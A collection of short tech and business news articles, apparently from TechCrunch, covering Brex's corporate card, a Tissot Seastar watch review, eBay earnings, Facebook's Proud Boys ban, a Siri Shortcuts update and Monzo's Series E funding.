Most corporate cards offer similar benefits for travel and restaurant expenses, but Brex is in a league of its own with the rideshare benefits its offering and especially with the recurring software (SalesForce, HubSpot, etc.) benefits.
San Francisco-based Brex has raised about $200 million to date from investors including Greenoaks Capital, DST Global and IVP. At the time of its fundraise, the company told TechCrunch it planned to use its latest capital infusion to build out its rewards program, hire engineers and figure out how to grow the business’s client base beyond only tech startups.
“This is going to allow us to compete even more with Amex, Chase and the big banks,” Dubugras said.
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The Tissot Seastar 1000 is a low-cost and high-quality Swiss diver
In the pantheon of watches there are a few that stand out. Looking for your first automatic watch? Pick up a Seiko Orange Monster. Looking for a piece with a little history? The Omega Speedmaster is your man. Looking for an entry-level Swiss diver that won’t break the bank? Tissot’s Seastar has always had you covered.
The latest version of the Seastar is an interesting catch. A few years ago – circa 2010 – the pieces were all black with bold hands and a more staid case style. Now Tissot, a Swatch Group brand, has turned the Seastar into a chunkier diver with massive bar hands and case that looks like a steel sandwich.
The $695 Seastar 1000 contains a Powermatic 80/ETA C07.111 movement with an eighty hour power reserve which means the watch contains a massive mainspring that keeps things going for most of three days without winding. The Seastar is also water resistant to 1000 feet thanks to a huge screw down crown and thick casing. The new model has an exhibition back where you can see the rotor spinning over and balance wheel. The watch also has a ceramic bezel, a fairly top-of-the-line feature in an entry level watch.
Tissot has a long and interesting history. Best known for their high-tech T-Touch watches which had touchable crystals, allowing you to activate a compass, barometer, or altimeter with a single tap, the mechanical pieces have always seemed like an afterthought. The company also produces the classic Tissot Le Locle as well as a chronograph that I absolutely loved, the T-Navigator, but that has been discontinued. The Seastar, then, is one of the few mechanical pieces they sell and at sub-$1,000 prices you’re basically getting a Swiss watch with solid power reserve and great looks.
Watch folks I’ve talked to over the past few months see a distinct upturn in the Swiss watch market. Their belief that the Apple Watch is driving sales of mechanical watches seems to be coming true, even if it means cheaper fashion watches are being decimated. Tissot sits in that sweet spot between luxury and fashion, a spot that also contains Tag Heuer and Longines. Ultimately this is an entry level watch for the beginning collector but it’s a beautiful and beefy piece and worth a look.
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As stock rises on a slim earnings beat, eBay tells analysts to focus on payments and ads
Despite increasing competition from traditional retailers like Walmart and Target, which have invested heavily in e-commerce, and the whupping it’s routinely taking from Amazon among pure e-commerce companies, eBay the 20-year-old lumbering Pez dispenser of an e-tailer, keeps plugging along.
Now, as it manages to eke out another earnings win by matching analysts’ expectations, the company is telling the bankers that watch it to look to advertising and payments for its future growth.
The company met analysts’ estimates of revenue totaling $2.65 billion, up from $2.41 billion in the year-ago period. That amounts to adjusted earnings of 56 cents per share, up from 48 cents per share in the year-ago period and beating analyst estimates of 54 cents per share. Profits for the company hit $720 million for the quarter.
The news sent shares up over 4 percent in trading after the market closed on Tuesday.
But more interesting than the the tepid results was its outlook for the future. Right now, eBay is at a crossroads as it tries to get a new group of users to forget about its past as a marketplace for used goods and resellers — and as a more pure e-commerce company.
“This quarter we continued to make foundational investments to improve the long-term competitiveness of our marketplace while setting the stage for significant growth opportunities,” said CEO Devin Wenig in a statement. “We will continue to innovate the customer experience while executing our growth initiatives in Payments and Advertising to position eBay for future success.”
The fact is, eBay is growing. It saw the number of active buyers across the platform increase by 4 percent, and has 177 million global active buyers. While that number is dwarfed by Amazon’s over 300 million global buyers (as of 2017), it’s one of the largest retailers in the U.S. The company’s StubHub business saw revenues of $291 million, up 7 percent from the year-ago period and sales of $1.2 billion. Its classified payments also grew.
As eBay looks ahead, payments and advertising are going to receive a bulk of the company’s internal investment dollars as it tries to complete the rollout of a new payment experience in the wake of its divorce from PayPal and its embrace of Adyen, Apple Pay, and the technology-based financial services company, Square.
The company has already processed $38 million in payments and through the partnership with Apple Pay has grown that payment method to 12 percent on the platform. Advertising on eBay has seen 400,000 sellers promote over 160 million listings.
“We continue to grow the inventory on the marketplace,” Schenkel. “Just recently we rolled out a direct from brand and direct from authorized resellers… Brands want choice and they want to sell on a marketplace with 177 million users that doesn’t compete with them.”
The company will also continue to have an aggressive investment and mergers and acquisitions strategy, the executives said. Especially since the company found its earnings buoyed by the $1 billion it brought in from the sale of its stake in Flipkart, href="https://techcrunch.com/2018/05/09/walmart-confirms-16b-flipkart-investment-giving-it-77-in-indias-e-commerce-leader/"> when it was bought by Walmart for $16 billion.
What’s somewhat interesting is that there are new companies in the retail space that are making a mint doing things that eBay once dominated. Vinted and DePop are both used-clothing e-tailers that have enviable cache and significant revenues, while LetGo and OfferUp are also raiding used goods to turn trash into treasure.
A quick trip to eBay’s homepage shows that the company has all but consigned its collectible past to the trash heap. Given the death and dissolution of so many of its peers from the first generation of internet giants, it’s worth keeping an eye on eBay if only to see how the 20-something company approaches middle age as an independent entity.
“We have a unique situation. [The] eBay brand is very well recognized and not as well understood. We’re seeing this; that new buyers are responding really well to the changes that we made in the last few years and we need more of them and part of that is messaging our brand,” said Wenig on the earnings call with investment analysts.
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Facebook bans the Proud Boys, cutting the group off from its main recruitment platform
Facebook is moving to ban the Proud Boys, a far-right men’s organization with ties to white supremacist groups. Business Insider first reported the decision. Facebook confirmed the decision to ban the Proud Boys from Facebook and Instagram to TechCrunch, indicating that the group (and presumably its leader Gavin McInnes) now meet the company’s definition of a hate organization or figure.
Facebook provided the following statement:
“Our team continues to study trends in organized hate and hate speech and works with partners to better understand hate organizations as they evolve. We ban these organizations and individuals from our platforms and also remove all praise and support when we become aware of it. We will continue to review content, Pages, and people that violate our policies, take action against hate speech and hate organizations to help keep our community safe.”
Even compared to other groups on the far right with online origins, the Proud Boys maximize their impact through social networking. The organization, founded by provocateur and Vice founder McInnes, relies on Facebook as its primary recruitment tool. As we reported in August, the Proud Boys operate a surprisingly sophisticated network for getting new members into the fold via many local and regional Facebook groups. All of it relies on Facebook — the Proud Boys homepage even links out to the web of Facebook groups to guide potential recruits toward next steps.
At the time of writing, Facebook’s ban appeared to affect some Proud Boys groups and not others. The profile of Proud Boys founder McInnes appears to still be functional. Facebook’s decision to act against the organization is likely tied to the recent arrest of five Proud Boys members in New York City on charges including assault, criminal possession of a weapon and gang assault.
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Siri Shortcuts app gets updated with weather, alarms, timers and more
Alongside today’s announcements of new iPads and Mac, Apple also rolled out an updated version of its Siri Shortcuts app. The app, first introduced at WWDC, arrived with iOS 12 as a way to unlock Siri’s potential by allowing users to create their own custom voice commands and workflows. Now, it can do a few new things, too – including setting alarms and timers, getting the latest weather, and more.
The weather actions should be especially useful for those who have created custom morning routines with Siri Shortcuts, as you’ll now be able to use the latest weather in your shortcuts with the new “Get Current Weather” and “Get Weather Forecast” actions. Being able to ask for this sort of information is already among the top use cases for voice assistants, like Alexa and Google Assistant, so it makes sense to offer these sorts of commands to Siri Shortcuts users, as well.
With these options, you can now ask for current conditions, forecasts (hourly, daily or 10 days out), or for any specific condition – like the humidity, chance of rain, air quality, and more.
Also helpful are the new “Create Alarm,” “Toggle Alarm,” and “Start Timer” actions, which addressed another notable hole in the Shortcuts app at launch. Many people were confused about how to use alarms within the app because these actions weren’t available, and the request often came up on Apple’s own support site, too. The new release, Siri Shortcuts 2.1, addresses this problem.
Other new actions include the ability to convert between a variety of units from the “Measurement” and “Convert Measurement” actions; the ability to get the most recent set of imported photos from the Photos app using the “Get Last Import” action; and the ability to star recording video immediately in the “Take Video” action.
Interestingly, Apple didn’t call that last one out in the App Store update text – maybe because all the news attention a user-created shortcut called “Police” recently received. “Police” lets you speak a verbal command that performs a series of actions, including messaging a friend, turning down the phone’s brightness, and pausing the sounds on your phone. It then gives you a button to press to start to recording. Now, it seems you can tweak the “Police” shortcut to just begin recording right away.
The updated app also fixes a problem with using Siri Shortcuts with HomePod. It will now automatically play back media from the HomePod over AirPlay, when you run the shortcut from HomePod via Siri – which just makes more sense.
Siri Shortcuts version 2.1 is the first major update following the app’s release with iOS 12. However, the app today still largely appeals to iOS power users – those who were already comfortable using its predecessor, Workflow, and who understand how to build routines.
More mainstream users are likely being exposed to Siri’s expanded powers through their favorite apps. With iOS 12, a number of top developers updated their apps with “Add to Siri” buttons that point out special tasks their apps can perform by way of voice. Early adopters on this front included Pandora, The Weather Channel, Sky Guide, Citymapper, Google News, TripIt, Trello, Monster, and others.
The updated version of Siri Shortcuts is available for download from the App Store.
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Monzo, the U.K. challenger bank, raises £85M Series E at a £1B pre-money valuation
Monzo, the U.K. challenger bank that now boasts more than a million customers, has raised £85 million in Series E funding. The round is led by U.S. venture capital firm General Catalyst, and Accel. Existing backers Passion Capital, Goodwater, Thrive Capital, Orange Digital Ventures, and Stripe also participated.
The latest funding was at a pre-money valuation of £1 billion (~$1.27b), meaning that Monzo is now a bonafide member of the U.K. fintech unicorn club, joining recent entrant Revolut.
Meanwhile, the bank upstart is also planning to launch a large crowdfunding round later this year. Like a lot of other fintechs — and before it was fashionable — Monzo has historically opened up its fundraising to its passionate community and other armchair investors.
In a brief call earlier today with Monzo co-founder and CEO Tom Blomfield, he told me the new funding will be primarily used for increasing headcount to further develop the Monzo product line and to cover other operational costs now that the challenger bank has reached “contribution margin positive”.
In other words, on average each customer is generating more revenue than the cost of servicing their current account, which is undoubtedly evidence of how much progress Monzo has made over the last year. This includes bringing down costs, such as weaning customers off costly debit card “top ups” and imposing a cap on fee-free foreign ATM withdrawals — as well as starting to generate meaningful revenue.
On where that revenue is now coming from, Blomfield cited lending in the form of Monzo’s overdraft product, interest it earns on deposits (currently Monzo doesn’t share that interest with customers, even if it is very small in percentage terms), and interchange fees (the money Monzo makes any time you spend on your Monzo debit card).
Another revenue stream is the nascent Monzo marketplace, which he says will be the next focus going forward now that the Monzo current account, with the omission of savings accounts and cash deposits, is basically “done“.
That’s noteworthy given that Monzo embraced developers extremely early on in its existence, holding four very popular hackathons and conducting a few early partnership pilots, but has since mostly stalled on the roll out of marketplace banking and other partnership integrations, sometimes to the frustration of the wider U.K. fintech ecosystem and developers. The exception being the recent integration with TransferWise for sending money abroad.
Blomfield doesn’t dispute this framing but says it wasn’t that Monzo changed course on offering an open API or working on deeper integrations that will put partner products inside of the Monzo banking app, but that gaining a banking license and building out all of the features of the current account had to be the short-term priority. Now that heavy lifting is complete and armed with new operational capital, it is marketplace game on.
To that end, the Monzo CEO says headcount over the next year could double again, from around 450 now to 900. And in terms of customer growth, extrapolating stats from a recent Nationwide annual report (PDF link), the challenger bank says it now accounts for 15 percent of all new bank accounts opened each month in the U.K. It also says it has 800,000 monthly active users.
Account switching — that is customers ditching their existing bank — still makes up the bulk of customer acquisition, even if Monzo recently began targeting 16-18 year olds who would be opening their first ever bank account. Another key metric: the number of customers who deposit their salary each month with Monzo is now at around 26 percent, although I’m told that this isn’t as important for Monzo as it might be for traditional banks and isn’t the main correlation with engagement or those accessing a Monzo overdraft.
Asked what Monzo’s biggest challenge will be over the next year, its CEO doesn’t mince his words: “Increasing revenue,” he says. This means ensuring that its lending models are correct (ie avoiding too many defaults as it scales) and steadfastly growing the marketplace and third-party product partnerships that will bring in additional revenue.
I was also intrigued to see a U.S. venture capital firm once again back the U.K. challenger bank — many of its existing backers have a U.S. bent and Blomfield has made no secret of his ambitions to expand across the pond at some stage. In an email exchange a few hours before publication, General Catalyst’s Adam Valkin (who was previously at Accel in London where he invested in GoCardless, which Blomfield also co-founded), gave me the following statement:
We’re investing in Tom and his team because they are delivering a high-quality banking experience for consumers at scale that is sorely missing from the market. Today’s incumbent UK banks represent billions of market cap but suffer from low NPS scores, reflecting their inability to meet their customers’ needs. Monzo, in contrast, explicitly builds product and banking features in a community-driven approach based on customers’ feedback and requests. This has driven very high organic growth, strong retention and engagement, and unprecedented customer love for and trust in Monzo. Beyond this, Tom and the Monzo team have improved upon the traditional business model of banking, removing the traditional offline retail-based banking model in favor of a highly scalable and lower cost mobile-only experience. All of this creates the potential for Monzo to become a leading U.K. bank, launch a successful financial marketplace, and eventually expand internationally.
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